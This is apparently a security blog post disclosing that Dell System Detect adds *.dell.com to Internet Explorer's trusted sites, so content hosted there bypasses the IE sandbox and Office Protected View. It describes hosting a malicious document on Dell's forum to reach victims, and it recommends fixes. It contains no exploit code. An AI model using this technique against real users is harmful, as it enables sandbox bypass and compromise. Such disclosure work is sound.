It means that a simple IE-based (say Flash exploit) hosted anywhere at “*.dell.com” will gain the same privilege of the current user immediately, because there is no IE Sandbox when you browsing these urls. Following figure shows the point.



According to my test, the same "no Sandbox" issue also exists on the "Metro Style" IE.

2. All the Office documents hosted at “*.dell.com” will be opened by Office out of the Office Sandbox (the Sandbox for Office is known as Protected View).

Usually, when a user downloads and opens a Word/PowerPoint/Excel document from internet, the document will be opened in Office with the Protected View mode. This is a very effective and important feature developed by Microsoft to help protect Office users. For example, we've known that attacking groups such as the Hacking Team use Flash-embedded Word documents to attack people, however, if the attacker hosts the malicious Word document on Internet, normal users won't be actually attacked because when they open the document the document will be opened within the Office Protected View Sandbox. But, if the attacker hosts the document somewhere on the “*.dell.com” domain, the document will be opened without the sandbox, and the Dell laptop user will be pwned right away.

Note that this not only affects users who use IE to download documents, but also for users using other browsers, such as Google Chrome. I've tested and found that when users use Chrome to download a “Dell-hosted” Word document, the document will also be opened without the Sandbox on Microsoft Word.

You may test it right away by downloading and opening this document released by Dell for “SuperFish 2.0”.
https://dellupdater.dell.com/Downloads/APP009/eDellRootCertRemovalInstructions.docx

Here is how it looks like when you are from a non-affected machine, all the Office documents we downloaded from Internet should act like this.

And here is on an affected machine, note there is no sign of “Protected View”, means there is no Sandbox.

Exploitation
So, the problem is clear now. Because of the "Dell System Detect" tool adds the "*.dell.com" into the Trusted sites, all the webpages hosted at “*.dell.com” will be opened out of the Sandbox on IE (both Desktop IE and Metro IE), and all the Office documents hosted at “*.dell.com” will be opened out of the Sandbox on Microsoft Office.

Readers may argue, hey, this is dell.com so it must be safe, right? well, it might be true if we agree all of the dell.com contents can't be hacked, but more obviously, the attacker can just use some tricks to host his/her malicious webpages or documents on somewhere on the *.dell.com and send the link to the victim. I’m not a XSS guy but I’ve heard of some tricks of “stored XSS” might help here. However, there’s an easier way - here is one of the tricks I found in couple minutes.

The Dell forum site (http://en.community.dell.com) is a sub-domain of dell.com, the forum allows registered users to publish their posts asking questions or opening discussions, it also allows users to attach files. So I made a test, I created one test account, made a post with a Word document attached, and see what happened then? My document is now being hosted on the *.dell.com domain.

Here is the link of my test document.
http://en.community.dell.com/cfs-file/__key/telligent-evolution-components-attachments/00-4674-01-00-20-84-98-02/dell.docx

In short, the attacker may use some trick to host their malicious exploit - such as a zero-day Flash exploit or a Word exploit - on the *.dell.com domain. Then, the attacker may send the link to the victims who have the Dell System Detect installed, in such a way the attacker "bypasses" the IE/Office Sandbox because there is no Sandbox at all.

Solution

First, I hope Dell to fix this security problem as soon as possible.

Users who have concerns about this issue are recommended to simply remove the "*.dell.com" in the IE's "trusted sites" window. Please note that according to my test, removing the "Dell System Detect" won't remove the trusted site setting, but I personally suggest you to remove the tool anyway in case it adds the trusted site back in future.

Conclusion
When we look back to the whole issue, all is because of a trusted site is added into IE's trusted zone. However, such a "trusted site" will surely lower user's security - specifically it makes users more vulnerable to exploits hosted at the "trusted site". For vendors who have a hobby to add "trusted site" - not just Dell, if you are not able to make %100 sure that all the contents hosted on your "trusted site" are harmless, please don't do it.

* Declaration: this post as well as other posts on this blog site reflect the author's personal opinions only.